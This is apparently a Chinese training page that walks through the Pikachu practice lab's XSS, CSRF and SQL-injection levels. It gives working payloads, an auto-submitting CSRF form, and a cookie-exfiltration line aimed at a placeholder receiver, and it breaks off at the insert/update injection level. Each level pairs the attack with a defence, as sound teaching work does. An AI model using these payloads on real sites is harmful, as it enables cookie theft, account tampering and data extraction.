我爱换客网红队成长之路
← 返回路线图 登录
靶场实战 · 02

XSS(跨站脚本攻击)

Pikachu 靶场 · 10 关 · 难度 ★★☆ · 预计 120 分钟
📚 靶场目录 📋 打卡表 ← 上一模块 下一模块 →
XSS 的本质一句话——让受害者的浏览器执行了攻击者的 JavaScript。生活类比:攻击者写了一张"带毒的纸条",塞进网站的内容里;其他用户访问网站时,浏览器把纸条当成网站官方内容,"照做"了纸条上的指令。因为脚本"看起来来自可信网站",浏览器就允许它读该站的 Cookie、冒充用户操作。全模块只学一件事:用户输入进入 HTML 时没有"消毒",被浏览器当成了代码。10 个关卡按"类型 → 场景 → 过滤与编码"递进。

这个模块的过关标准统一是:页面弹出 alert 弹窗(弹窗内容无所谓)。弹了 = 你的 JS 被执行了 = 通关。

XSS 攻击链条

第 1 关反射型 XSS(get)

入口:http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php
过关标准:页面弹出 alert 弹窗,显示你的 Cookie
💡 类比故事复读机。网站把你 URL 里说的话"原样复读"进页面,你说的如果是"一句 JavaScript 代码",浏览器就真去执行它。攻击者把这种链接发给受害者点,点的人中招(所以叫"反射"——打过去又弹回来)。

原理白话:服务器把 URL 参数原样回显进 HTML,无任何编码。你输入的 <script> 不是被"显示"出来,而是被浏览器"执行"了。

看源码(在靶场目录打开 vul/xss/xss_reflected_get.php):echo $html.$_GET['message'];——输入直接进 HTML,无任何编码。

📋 详细步骤
  1. 打开关卡页面,在输入框试 <script>alert(1)</script> → 发现塞不进去:输入框有 maxlength="20"(最多 20 字符)
  2. 两种标准解法(都会):
  1. payload:<script>alert(document.cookie)</script>(弹窗显示 Cookie,说明脚本能拿到身份凭证)
  2. 提交 → 弹窗 → 通关

过关标准达成:页面弹窗。这一步的意义:20 字符长度限制只是前端限制,永远不能当安全措施——浏览器端的一切限制都能被绕过。

🧯 卡住了?对号入座
  • 现象:输入框塞不下完整 payload → 原因:输入框有 maxlength 长度限制,按 F12 把 maxlength 改大(或删掉该属性)再输入
  • 现象:payload 提交后原样显示、不弹窗 → 原因:多半是标签没闭合(如少了 </script> 的斜杠),对照详细步骤逐字符核对
  • 现象:弹窗一闪就没了 → 原因:payload 已生效,属正常;换 alert(document.cookie) 能看到更有意义的内容
🛡 防御视角输出前 htmlspecialchars($str, ENT_QUOTES, 'UTF-8')。
🤔 想一想:前端长度限制为什么不算防御?
答:改请求可绕过,服务器根本不检查

第 2 关反射型 XSS(post)

入口:http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php(需登录,账号 pikachu / 000000)
过关标准:登录后提交 payload,页面弹窗
💡 类比故事和上一关一样的复读机,只是"说的话"不是写在明信片上(GET/URL),而是塞在信封里(POST/请求体)。攻击方式相应变为:诱导受害者访问一个自动提交恶意 POST 表单的网页。

原理白话:与 3.2.1 完全相同,只是参数在 POST 请求体里,地址栏看不到。

📋 详细步骤
  1. 先登录:进入页面会要求登录,用 pikachu / 000000
  2. 登录后在输入框直接输入 <script>alert(document.cookie)</script> 提交 → 弹窗即通关
  3. 攻击者视角演示:Burp 抓这个 POST 请求 → Repeater 改 payload → Send,效果一样(理解:POST 的 XSS 攻击是"发一个自动提交的表单页")
🧯 卡住了?对号入座
  • 现象:打不开关卡页面 → 原因:这关要先登录(pikachu / 000000),页面顶部有登录提示
  • 现象:payload 提交后不弹窗 → 原因:与 3.2.1 相同,检查标签闭合;再确认输入后页面回显位置
  • 现象:Burp 里找不到这个 POST 请求 → 原因:提交时 Intercept 要处于 on;或请求已在 History 里,用 Filter 筛 POST 类型
🤔 想一想:GET 型和 POST 型 XSS 在"受害者中招方式"上有什么不同?
答:GET 一个链接即可引诱点击;POST 需要一个自动提交表单的恶意页面。漏洞本质相同,只是投递方式不同
🛡 防御视角同 3.2.1(输出编码)。注意:GET 和 POST 的差别只影响攻击的"投递方式",不影响漏洞本质。

第 3 关存储型 XSS

入口:http://127.0.0.1/pikachu/vul/xss/xss_stored.php
过关标准:留言后刷新页面弹窗;换浏览器/隐身窗口访问同样弹窗
💡 类比故事把毒纸条贴到了公告栏上。上一关的复读机是"你说了它复读"(只坑点链接的人);这一关是"你说的被写进公告栏,每个路过的人都会中招"。提交一次,长期收割,是所有 XSS 里危害最大的。

原理白话:留言板把用户提交的内容存进数据库,之后每个打开页面的人,浏览器都会执行这段脚本。

看源码:留言先 INSERT 入库,展示时直接从库里取出拼进 HTML——入库不消毒、出库不编码。

📋 详细步骤
  1. 留言框输入:<img src=x onerror=alert(document.cookie)>

(解释:img 标签加载图片,src=x 是一个必然不存在的图片地址,加载失败触发 onerror 里的 JS——绕开 script 标签的另一种写法)

  1. 提交 → 自己刷新页面立即弹窗(因为你的脚本已入库,连你自己每次访问都执行)
  2. 关键动作:换一个浏览器(或隐身窗口、同桌的电脑)访问留言板,同样弹窗——直观理解"人人中招"
📷 练习截图:存储型 XSS 弹窗(alert 显示 document.cookie)
🧯 卡住了?对号入座
  • 现象:提交后没弹窗,留言显示成文本了 → 原因:payload 被转义或写错。逐字符核对:<img src=x onerror=alert(document.cookie)> 别少空格、别少尖括号
  • 现象:想清除测试留言 → 留言板底部一般有删除功能;或重新初始化靶场数据库(1.1 步骤 5 的安装页有重置功能)
🛡 防御视角输出编码(所有消费该数据的页面都要做)+ 富文本场景用白名单过滤器(DOMPurify)。
🤔 想一想:为什么存储型危害最大?
答:无需诱导点击、可蠕虫传播、管理员也会中招——2005 年 MySpace Samy 蠕虫 1 天感染 100 万人

第 4 关DOM 型 XSS

入口:http://127.0.0.1/pikachu/vul/xss/xss_dom.php(点页面上的 "what do you see?" 链接进入)
过关标准:访问构造的 URL 后弹窗
💡 类比故事这次连"复读机"都不需要——毒是在前台直接下的。脚本完全不经过服务器:前端 JS 自己从 URL 里取数据、自己写进页面、浏览器本地执行。服务器日志里什么都看不到。

原理白话:URL 里 # 后面的部分(叫 hash/fragment)根本不会发给服务器,但前端 JS 能读它。这关的 JS 从 URL 读 text 参数 → 直接写进 innerHTML → 浏览器执行。

看源码(页面 JS):

// 从 URL 里取 text 参数 → 直接 innerHTML(危险 sink)
var str = document.getElementById("text").innerHTML = (new URL(location.href)).searchParams.get("text");

关键概念要记牢:source(location.search 等可控数据源)→ sink(innerHTML/eval 等危险写入点),中间没有过滤 = DOM 型 XSS。

📋 详细步骤
  1. 访问:http://127.0.0.1/pikachu/vul/xss/xss_dom.php?text=<img src=x onerror=alert(1)>
  2. 弹窗即通关
  3. 如果地址栏输入后没反应:特殊字符被浏览器处理了,换成 URL 编码再试:%3Cimg%20src=x%20onerror=alert(1)%3E(<→%3C,>→%3E,空格→%20)
  4. 进阶观察:Burp 开着看这次请求,服务器响应干干净净没有 payload(这就是 DOM 型隐蔽的原因)
🧯 卡住了?对号入座
  • 现象:在页面输入框里输 payload 没反应 → 原因:这关的注入点不在输入框,在 URL 的 #text= 后面;先点页面上"有的链接"看 URL 变化
  • 现象:改了 #text= 的值页面没变化 → 原因:改完 URL 要按回车重新加载;# 后的变化浏览器不会自动刷新
  • 现象:<script> 不弹 → 原因:这关要先闭合 href 属性,用 ' onclick="alert(1)" 这类闭合型 payload
🛡 防御视角前端用 textContent 替代 innerHTML;框架里禁用 dangerouslySetInnerHTML/v-html 渲染用户输入。
🤔 想一想:Burp 抓包为什么找不到攻击痕迹?
答:hash 部分不发送到服务器,漏洞全程在浏览器里发生

第 5 关DOM 型 XSS-X

入口:http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php
过关标准:在输入框提交 payload 后弹窗
💡 类比故事同上关,只是"取数据"的地方从 URL 改成了表单输入。

原理白话:与上关同源,数据从表单提交进来,JS 拼接后 innerHTML。

📋 详细步骤
  1. 在输入框提交:'"><img src=x onerror=alert(document.cookie)>
  2. 弹窗即通关
  3. 理解开头 '"> 的作用:这段输入被 JS 拼进一段带引号的字符串里,'"> 先把字符串闭合掉,后面的 <img> 才能成为独立代码——这叫"闭合"思想,3.4 SQL 注入模块要反复用,现在先混个脸熟
🧯 卡住了?对号入座
  • 现象:输入框提交后没反应 → 原因:这关注入点在 URL 参数(如 ?text=),不在输入框;先点页面链接观察 URL 参数
  • 现象:<script> 不弹 → 原因:注入点在 <a> 标签的 href 属性里,要先闭合 </a> 再写 script,参照详细步骤 payload
  • 现象:页面变空白 → 原因:payload 破坏了页面 JS 语法,后退一步换更简单的闭合方式
🤔 想一想:为什么这关的 payload 要先闭合 </a> 标签?
答:注入点位于 <a> 标签的 href 属性内,不闭合标签,注入内容会被当成链接文字而不是新标签
🛡 防御视角同 3.2.4。

第 6 关XSS 之盲打

入口:http://127.0.0.1/pikachu/vul/xss/xssblind/xss_blind.php
过关标准:管理员查看留言后弹窗(证明脚本在管理员浏览器里执行了)
💡 类比故事给管理员下毒。普通存储型 XSS 打的是"能看到留言的每个人";盲打打的是"在后台看留言的管理员"——你(普通用户)看不到管理员的后台回显,所以叫"盲"打,但毒已经埋下,管理员一进后台就中招。

原理白话:=存储型 XSS + 打后台。脚本的目标是管理员的 Cookie(管理员权限更高,价值更大)。这是 SRC 实战里最常见的 XSS 用法。

📋 详细步骤
  1. 登录前台(pikachu / 000000),留言框输入:

<script>alert(document.cookie)</script> (解释:document.cookie 是"看这条留言的人的 Cookie"——谁打开这条留言,弹窗里显示的就是谁的 Cookie)

  1. 退出前台,切管理员登录后台:访问 http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php,账号 admin / 123456
  2. 管理员查看留言列表 → 弹窗弹出管理员的 Cookie → 通关
  3. 进阶玩法(了解即可):把 payload 换成 <script>document.location='http://你搭建的接收端地址/?cookie='+document.cookie</script>,Cookie 就会被"外送"到你的接收端——这才是实战里偷 Cookie 的完整链路(本机版靶场没有自带收赃页,直接看弹窗即可)

过关标准达成:理解"盲打"的精髓——打的不是前台用户,是后台管理员。

🧯 卡住了?对号入座
  • 现象:提交留言后前台看不到任何效果 → 原因:正常——盲打的 payload 进的是后台管理页,前台不显示。去 xssblind/admin_login.php 登录后台看效果
  • 现象:后台也看不到弹窗 → 原因:确认留言确实提交成功(前台留言列表里有);或 payload 被长度限制截断
  • 现象:后台登录不进去 → 原因:后台账号在关卡提示里(admin / 123456),看清入口说明
🛡 防御视角同存储型(输出编码)。另外后台也要有独立的 XSS 防护意识。
🤔 想一想:盲打和普通存储型 XSS 有什么区别?
答:攻击目标不同——盲打针对"看不到回显的后台",利用管理员查看动作触发

第 7 关XSS 之过滤

入口:http://127.0.0.1/pikachu/vul/xss/xss_01.php
过关标准:用不含 <script> 的 payload 弹窗
💡 类比故事安检只查"写着 script 的纸条",换个包装就带进去了。第一次体会"黑名单过滤为什么靠不住"——你禁 A,我换 B,禁不完的。

原理白话:服务器把输入里的 <script 相关内容删掉了。任务:绕过过滤。

看源码:

// 把<script及其中间内容全部替换为空
$message = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $message);
📋 详细步骤
  1. 试 <script>alert(1)</script> → 被过滤掉,无效(体会:过滤是"生效"的)
  2. 绕过方案(重点体会"换一种执行方式"的思想):<img src=x onerror=alert(document.cookie)> —— 完全不出现 script 字样
  3. 提交 → 弹窗即通关

过关标准达成:明白一个道理——过滤 script 标签 ≠ 防 XSS,事件属性(onerror)、href、CSS 都是攻击面。

🧯 卡住了?对号入座
  • 现象:<script> 提交后没弹 → 原因:这关本来就会过滤 <script>,考点是绕过:试 <SCRIPT>(大小写)、<img src=x onerror=alert(1)>、<scr<script>ipt>(双写)
  • 现象:绕过后还是没弹 → 原因:确认提交后 payload 被渲染的位置;img 的 onerror 需要图片加载失败才触发,src=x 故意写错即可
  • 现象:不知道先试哪个 → 原因:从 <img src=x onerror=alert(1)> 开始逐个试,观察哪个被"放行"
🛡 防御视角白名单思路(只允许明确安全的内容)+ 输出编码,永远不用黑名单做主要防线。
🤔 想一想:还能想出哪些不出现 "script" 五个字母的 XSS payload?
答:<svg onload=alert(1)>、<body onload=alert(1)>、javascript: 协议等

第 8 关XSS 之 htmlspecialchars

入口:http://127.0.0.1/pikachu/vul/xss/xss_02.php
过关标准:输入单引号闭合 payload,点击页面生成的输入框后弹窗
💡 类比故事安检升级了——纸条上的 < > 都被变成无害文字。但安检漏了一种东西:单引号 ' 不检查。而你的纸条会被放进"用单引号包裹的输入框"里,用一个单引号提前把框"关上",后面就是你的天下了。

原理白话:htmlspecialchars() 默认只转义 <、>、"、& 这几个符号,不转义单引号(要加 ENT_QUOTES 参数才转义)。而这关的输出点在 <input value='...'> 的 value 属性里(单引号包裹)——输入一个单引号就能"提前关掉"这个属性,再在属性外面写入 onclick 事件。

看源码:

// 转义了,但默认参数不转义单引号!
$message = htmlspecialchars($_GET['message']);
// 输出在 input 的 value 属性里,且用单引号包裹 —— 单引号能逃出去
echo "<input type='text' value='{$message}'>";
📋 详细步骤
  1. 先试 <script>alert(1)</script> → 被转义成纯文本,无效(说明转义在生效,先建立信心)
  2. 输入:' onclick='alert(1)(注意开头是个单引号)
  3. 页面出现一个输入框,点击它 → 弹窗,通关

过关标准达成:理解"编码必须匹配上下文"——htmlspecialchars 转义了 HTML 标签,但默认参数漏了单引号,而输出又落在单引号包裹的属性里,防御就穿了。

🧯 卡住了?对号入座
  • 现象:<script> 不弹窗 → 原因:正常,被转义了。这关的钥匙是单引号,不是 script 标签
  • 现象:输入 ' onclick='alert(1) 没弹窗 → 原因:①确认开头有单引号(先闭合 value 属性);②点击的是页面里生成的输入框;③引号配对:onclick='alert(1) 里 onclick 用单引号包 alert,末尾不用闭合——value 属性原本的收尾单引号会帮你补上
  • 现象:输入框显示怪怪的 → 原因:F12 看 Elements,观察 value 属性是不是被你的单引号截断了——截断就说明注入成功了一半
🛡 防御视角htmlspecialchars($str, ENT_QUOTES) 把单引号也转义;更稳妥的是输出编码匹配上下文(属性统一用双引号 + ENT_QUOTES 组合)。
🤔 想一想:这关的 payload 末尾为什么不用闭合单引号?
答:value 属性原本就有一个收尾单引号,我们提前用它来收尾,注入的 onclick 正好落在它前面

第 9 关XSS 之 href 输出

入口:http://127.0.0.1/pikachu/vul/xss/xss_03.php
过关标准:输入 javascript: payload,点链接弹窗
💡 类比故事与上一关同根——输入被放进 <a href='...'> 链接里,而且没检查"链接是不是 http/https"。

原理白话:源码里 htmlspecialchars 这次加了 ENT_QUOTES(引号也被转义了),但输出在 <a href='...'> 里——javascript: 伪协议不需要引号、不需要标签,照样执行。这个上下文的正确防御不是转义,而是协议白名单。

📋 详细步骤
  1. 输入 javascript:alert(document.cookie)
  2. 点击生成的链接 → 弹窗通关
🧯 卡住了?对号入座
  • 现象:<script> 不弹 → 原因:注入点在 <a> 标签的 href 属性里,script 标签无效;这关正解是输入 javascript:alert(1) 后点击链接
  • 现象:输入 javascript:alert(1) 点链接没反应 → 原因:F12 看 Elements 确认 href 真的变成了 javascript:alert(1);个别浏览器拦新标签页的 javascript: 协议,在当前页点击试试
  • 现象:分不清和 3.2.8 的区别 → 原因:3.2.8 是默认参数漏转义单引号、被 value 属性里的单引号逃逸打穿;这关即使 ENT_QUOTES 全转义,href 上下文里 javascript: 协议照样执行——两关连看,才懂"输出编码要匹配上下文,URL 上下文还要协议白名单"
🤔 想一想:这一关源码里 htmlspecialchars 加了 ENT_QUOTES,引号全被转义了,为什么还能打?
答:转义只防"跳出属性值",但 href 的属性值本身就能承载 javascript: 伪协议,根本不需要引号——所以 URL 上下文必须再加协议白名单
🛡 防御视角协议白名单校验 + 输出编码。

第 10 关XSS 之 js 输出

入口:http://127.0.0.1/pikachu/vul/xss/xss_04.php
过关标准:输入闭合 payload 后弹窗
💡 类比故事你的话被塞进了一段"JS 代码的中间"。前几关在 HTML 里下毒,这关直接在 JS 代码内部下毒——需要先"脱出"引号,再说自己的话。

原理白话:用户输入被拼接进 <script> 标签内部的 JS 代码里(JS 上下文)。在 JS 上下文里,HTML 编码没用,必须按 JS 语法处理——正确做法是转义引号和反斜杠,或者干脆不把用户输入放进 JS。

看源码:

$ms = '<?php echo $_GET['message']; ?>';
// 输入直接落在单引号字符串内部
📋 详细步骤
  1. 输入:';alert(document.cookie);//
  2. 弹窗即通关
  3. 拆解这个 payload(这关的精髓,逐字符理解):

过关标准达成:理解"闭合"与"注释"手法——这是 XSS 的最后一课,也是 SQL 注入的预习(3.4 模块的引号闭合思想一模一样)。

🧯 卡住了?对号入座
  • 现象:直接输 <script> 不弹 → 原因:注入点在 JS 代码字符串里,要先闭合 </script> 再开新标签:</script><script>alert(1)</script>
  • 现象:引号被转成 &quot; → 原因:这关做了 htmlspecialchars,别走引号闭合路线,走"闭合 script 标签"路线
  • 现象:页面报 JS 错误 → 原因:payload 破坏了原有 JS 语法,对照详细步骤里的完整 payload
🛡 防御视角避免把用户输入放进 <script>;必须放时要对引号、反斜杠、</script> 做 JS 上下文转义。
🤔 想一想:// 在这里的作用是什么?
答:注释掉后面原有的代码,避免语法错误导致脚本不执行

XSS 模块小结(复习用)

关卡上下文核心知识点
反射型×2HTML 标签前端限制不可信
存储型HTML 标签入库/出库都要处理,危害最大
DOM 型×2前端 JSsource→sink,服务端无痕
盲打HTML 标签打后台管理员
过滤HTML 标签黑名单可绕过(换标签/事件)
htmlspecialchars / hrefURL 属性编码要匹配上下文,javascript: 协议
js 输出JS 脚本闭合引号注入
CSRF 的本质——借受害者的"手"去操作。生活类比:你登录了银行网页(拿到号码牌 Cookie),这时攻击者发给你一个"抽奖页面",你打开后,那个页面悄悄替你向银行提交了"转账"请求——浏览器自动附带了你的 Cookie,银行以为是你本人在操作。核心理解点:浏览器自动带 Cookie 是便利,也是风险。

CSRF 攻击原理

第 1 关CSRF(get)

入口:http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get.php(账号 vince / 123456 登录)
过关标准:在另一个浏览器窗口里"只点一下链接",vince 的资料就被改了
💡 类比故事修改资料的操作"写在明信片上"(GET,参数全在 URL 里),而且网站不检查"这个请求是不是本人发的"。攻击者只要让受害者点一条链接,修改就完成了。

原理白话:个人信息修改功能使用 GET 请求提交(参数全在 URL 里),没有校验请求来源。受害者点开链接时,浏览器带着他的登录 Cookie 发出请求,服务器照办。

📋 详细步骤
  1. 用 vince / 123456 登录,进入"修改个人信息",把住址改成"北京",提交
  2. Burp 抓包,看到 GET 请求形如:

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=男&phonenum=138&add=北京&email=vince@pikachu.com&submit=submit (注意:所有参数都在 URL 里,这就是 GET 的"明信片"特性)

  1. 攻击者视角构造恶意链接(把 add 改成攻击者想改的值,比如改成"钓鱼城"):

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=138&add=钓鱼城&email=vince@pikachu.com&submit=submit

  1. 模拟攻击:打开一个新浏览器/隐身窗口(目的是换一个"受害者"会话),先登录 vince,再访问上面这条恶意链接
  2. 回到原窗口刷新个人信息 → 资料已被改成"钓鱼城"

过关标准达成:受害者只是"点了一下链接",资料就被改了——这就是"借手"。

🤔 想一想:为什么攻击者不能直接自己发这个请求?
答:他没有受害者登录后的 Cookie,发出去也改不了——CSRF 的关键是让受害者的浏览器去发
🧯 卡住了?对号入座
  • 现象:改了 URL 参数后没修改成功 → 原因:①必须保持登录状态(Cookie 在浏览器里);②攻击 URL 是"修改个人信息"的链接,参数名一字不差(sex、ph、add、submit)
  • 现象:提示修改失败/原密码错误 → 原因:核对完整攻击 URL 的所有参数;部分字段要一并带上
  • 现象:新密码登不进去 → 原因:攻击 URL 里两处密码参数没保持一致
🛡 防御视角改资料类操作一律用 POST(但不能只靠 POST,见下一关)+ CSRF Token + 校验 Referer + SameSite Cookie。

第 2 关CSRF(post)

入口:http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post.php
过关标准:打开本地钓鱼页面后,vince 资料被改
💡 类比故事网站学乖了,改成"密封信"(POST)。很多同学以为 POST 就安全了——错。攻击者做一个自动提交 POST 表单的钓鱼网页,你打开网页,表单自动替你寄出密封信。

原理白话:POST 只是让攻击者不能"一条链接搞定",但攻击者可以给你一个网页,网页里的 JS 自动提交一个隐藏表单——效果一样。

📋 详细步骤
  1. 登录 vince,修改信息,Burp 抓包确认是 POST、参数在请求体里
  2. 构造钓鱼页面:把下面代码存成 demo.html,双击用浏览器打开(这可以自己写,也是很好的练习):
<!-- demo.html:受害者访问即自动提交 -->
<html><body>
<form id="csrf" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
  <input type="hidden" name="sex" value="女">
  <input type="hidden" name="phonenum" value="138">
  <input type="hidden" name="add" value="钓鱼城">
  <input type="hidden" name="email" value="vince@pikachu.com">
  <input type="hidden" name="submit" value="submit">
</form>
<script>document.getElementById('csrf').submit();</script>
</body></html>
  1. 浏览器里打开这个本地 html(保持 vince 登录状态)→ 自动向靶场提交 → 回靶场刷新 → 受害者信息被改

过关标准达成:理解"GET 改 POST 挡不住 CSRF",必须靠 token/来源校验。

🧯 卡住了?对号入座
  • 现象:打开自动提交页面后没改密 → 原因:①"受害者"必须先在靶场登录着(Cookie 还在);②表单 action 的 URL 路径要与你的环境一致
  • 现象:不知道请求发出去没有 → 原因:打开自动提交页面前先开 F12 网络面板,看有没有一条 POST 发到靶场
  • 现象:写不出自动提交页面 → 原因:直接用详细步骤的 HTML 模板,只改 action 的 URL;保存成 .html 用浏览器打开即可
🤔 想一想:如果表单里加了 CSRF Token,自动提交攻击还能成功吗?
答:不能,攻击者拿不到随机 token——这正是下一关 3.3.3 要验证的
🛡 防御视角CSRF Token(见下一关)+ SameSite Cookie。

第 3 关CSRF Token

入口:http://127.0.0.1/pikachu/vul/csrf/csrftoken/token_get.php
过关标准:证实"没有 token 就伪造不了"——错误 token 提交失败
💡 类比故事网站终于请了真门卫:每次办事发一张随机动态口令条,攻击者造的假页面拿不到这条口令,伪造请求被拒之门外。

原理白话:这关展示了正确的防御——表单里嵌入随机 token,服务器校验。攻击者构造的页面拿不到这个随机值,伪造请求被拒绝。

📋 详细步骤
  1. 登录 vince,Burp 抓包修改信息 → 看到请求里多了 token=随机值 字段
  2. 在 Repeater 里把 token 改成任意错误值(如改成 abc)→ 发送 → 提交失败(服务器拒绝)
  3. 尝试像上一关那样构造自动提交表单 → 因为拿不到 token,攻击失败(理解:攻击者的页面不知道受害者当前表单里的 token 是什么)

过关标准达成:亲眼看到"有 token 就伪造不了"——这就是 CSRF 防御的核心。补充:token 要放在 URL 之外(表单隐藏字段或请求头),否则会被 Referer 泄露。

🧯 卡住了?对号入座
  • 现象:去掉 token 的请求被服务器拒绝 → 原因:这不是失败——本关已启用 token 防御,攻击本来就该失败。过关标准是"理解 token 为什么能防住 CSRF"
  • 现象:两次抓包的 token 一样 → 原因:确认页面刷新过(Ctrl+F5);部分实现下同一会话 token 不变,对比"新会话"的 token 即可看出差异
  • 现象:想复现"无 token 攻击失败" → 原因:Burp 抓正常改密请求 → 删掉 token 参数 → Repeater 重放,观察被拒绝
🛡 防御视角这就是标准做法:CSRF Token + 关键操作二次确认(输密码)。
🤔 想一想:token 为什么攻击者拿不到?
答:token 每次请求随机生成,且受同源策略保护,攻击者网页读不到受害者 session 里的内容
SQL 注入是 Web 安全"永恒的第一课"。本质一句话:用户输入被拼进 SQL 语句,改变了语句的结构(点菜类比见 0.7)。10 个关卡按"注入点位置 → 注入方式 → 盲注与编码绕过"递进。全模块核心思想就两个词:闭合(让拼接后的 SQL 语法正确)和注释(干掉后面多余的代码)。

动手前先复习 0.7 的 SQL 十分钟入门——那十条语法就是本模块全部弹药。

贯穿全模块的口诀(记牢):

先看参数怎么进 SQL(数字?引号?括号?)
→ 构造闭合,让语句成立
→ 用 # 或 -- 注释掉尾巴
→ or 1=1 恒真测试 → 进阶用 union / updatexml / sleep

本模块过关标准:能拿到数据库名(pikachu)或查出全表数据,即证明注入成立。

SQL 注入拼接原理

第 1 关数字型注入(post)

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_id.php(需登录 admin / 123456)
过关标准:输入 1 or 1=1 查出全部用户信息
💡 类比故事服务员问"你要几号餐?" 你回答"1 号,或者所有餐都要"——因为你的回答被不加引号地原样塞进指令里,多出来的半句话成了新指令。

原理白话:参数直接以数字形式拼进 SQL,没有引号包裹,所以 payload 不需要处理引号闭合,直接追加逻辑即可——数字型是入门最简单的注入类型。

看源码:

// 输入 id=1 时,SQL 变成:
// select 用户名,邮箱 from member where id=1
$id = $_POST['id'];
$sql = "select * from member where id=$id";

注意 $id 两侧没有引号——这是数字型的标志。

📋 详细步骤
  1. 用 admin / 123456 登录后进入本关,输入框填 1,正常查出用户(先看正常流程)
  2. 输入:1 or 1=1 → where 条件恒真,所有用户都被查出来
  3. 进阶验证:1 or 1=1 order by 1 观察返回;再试 1 union select 1,2,database()(若列数对得上,页面会回显数据库名)

过关标准达成:or 1=1 后查出全部用户信息,证明注入成立。

🧯 卡住了?对号入座
  • 现象:1' or '1'='1 没效果 → 原因:这是数字型,参数不带引号,直接用 1 or 1=1(别加单引号)
  • 现象:页面报错但看不到 SQL 错误详情 → 原因:php.ini 没开 display_errors,回 1.1 步骤 4 检查
  • 现象:不知道在哪输入 → 原因:在"查询用户"的 id 输入框输入 payload 后点查询
🛡 防御视角参数化查询 + 数字类型强制转换 (int)$id。
🤔 想一想:数字型为什么不用引号闭合?
答:数字直接拼接,无需破坏引号结构

第 2 关字符型注入(get)

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_str.php
过关标准:?id=1' or '1'='1 返回全部用户
💡 类比故事这次服务员把你的回答用引号包起来再说给厨房:"顾客说'…'。" 你只要在回答里先补上一个引号,就能"跳出引号",开始说自己的指令。

原理白话:参数被单引号包裹拼进 SQL。payload 必须先把引号闭合掉,语句才能成立。这是引号闭合思想的第一课,也是 SQL 注入最重要的基本功。

看源码:

$id = $_GET['id'];
$sql = "select * from users where id='$id'";   // 注意 $id 两侧的单引号
📋 详细步骤
  1. 访问 ?id=1 → 正常
  2. 访问 ?id=1' → 报 SQL 语法错误(看到报错=注入点确认。记住:"报错是攻击者的眼睛"——程序把错误细节都告诉你,等于把内部结构暴露给你)
  3. 访问 ?id=1' or '1'='1 → 语句变成 where id='1' or '1'='1' 恒真,查出所有用户
📷 练习截图:字符型注入触发的 SQL 语法报错页

过关标准达成:返回全部用户。拆解 payload 为什么这样写:1'(闭合左边引号) or '1'='1(恒真条件,同时把右边引号接上)——整个字符串拼接后语法完整,这是所有引号闭合的通用思路。

🧯 卡住了?对号入座
  • 现象:地址栏输入 ?id=1' 没报错反而没反应 → 原因:浏览器把特殊字符转义了。在 Burp 里改参数:抓请求 → Repeater → 把 id=1 改成 id=1' or '1'='1 → Send
🛡 防御视角参数化查询。
🤔 想一想:payload 里开头那个 ' 是干什么的?
答:闭合 SQL 里原有的左引号;末尾的 '1'='1 负责把右引号接上,让语句语法正确

第 3 关搜索型注入

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_search.php
过关标准:搜索框输入 %' or 1=1# 列出全部用户
💡 类比故事搜索框的输入被放进"模糊匹配"的语法里:like '%你的输入%'。你要先理解 % 是 SQL 里的"通配符"(代表任意内容),然后才能精准闭合。

原理白话:搜索功能用 like '%输入%' 做模糊查询。payload 要用 % 把 like 的引号结构闭合掉。

看源码:

$sql = "select * from member where username like '%$name%'";
📋 详细步骤
  1. 搜索框输入 k → 正常出结果(先看正常流程)
  2. 输入:%' or 1=1# → SQL 变成 like '%%' or 1=1#%',恒真,列出全部用户
  3. 拆解:% 补全前面 '% 的模糊匹配 → ' 闭合引号 → or 1=1 恒真 → # 注释掉后面的 %'

过关标准达成:全部用户被列出。

🧯 卡住了?对号入座
  • 现象:1 or 1=1 没效果 → 原因:搜索型的 SQL 是 like '%关键字%' 结构,要先闭合前面的引号和 %:用 %' or 1=1#
  • 现象:# 在 URL 里丢失 → 原因:这关是 GET 传参,# 是 URL 锚点标识符,要写成 %23 或用 --+ 注释
  • 现象:页面没报错 → 原因:先输入单个 ' 看页面是否报 SQL 错误,确认注入点存在
🛡 防御视角参数化查询。
🤔 想一想:为什么这里开头要先写一个 %?
答:把 like 的条件闭合成一个完整的 '%%',否则语法不通

第 4 关xx 型注入

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_x.php
过关标准:admin') or 1=1 # 列出全部用户
💡 类比故事这次输入被包了两层:('你的输入')——引号外面还有括号。闭合时要同时补上 ')。这关训练的是"看源码找闭合方式":闭合方式不是背的,是从报错和源码推出来的。

原理白话:参数被单引号+括号包裹:('$id')。闭合时要同时补上 ')。

看源码:

$sql = "select id,email from member where username=('$name')";
📋 详细步骤
  1. ?name=admin → 正常
  2. ?name=admin' → 报错(报错信息提示有括号未闭合——学会读报错信息,它会告诉你差什么)
  3. payload:admin') or 1=1 # → 恒真,列出全部

过关标准达成:全表列出。这关的价值:闭合方式不是背的,是从报错和源码推出来的——真实场景里没人告诉你括号怎么配,全靠试和看。

🧯 卡住了?对号入座
  • 现象:' or 1=1# 失败 → 原因:这关的闭合符不是单引号,是 '),payload 用 1') or 1=1#;核心思路是"逐个试闭合符"
  • 现象:不知道怎么试 → 原因:依次尝试 1'、1"、1')、1"),哪个报"语法错误"说明哪个差一点闭合成功,再补全它
  • 现象:注释符没生效 → 原因:# 与 --+ 二选一,确认后面没有多余空格
🛡 防御视角参数化查询。
🤔 想一想:为什么这关叫"xx 型注入"?
答:闭合符可能是 '、")、')) 等各种组合,事先不知道,只能逐个试——体现"注入第一步是猜闭合符"的思想

第 5 关insert / update 注入

入口:注册页(insert):http://127.0.0.1/pikachu/vul/sqli/sqli_reg.php;个人信息修改(update)需登录
过关标准:提交 payload 后页面报错,错误信息里带出数据库名 pikachu
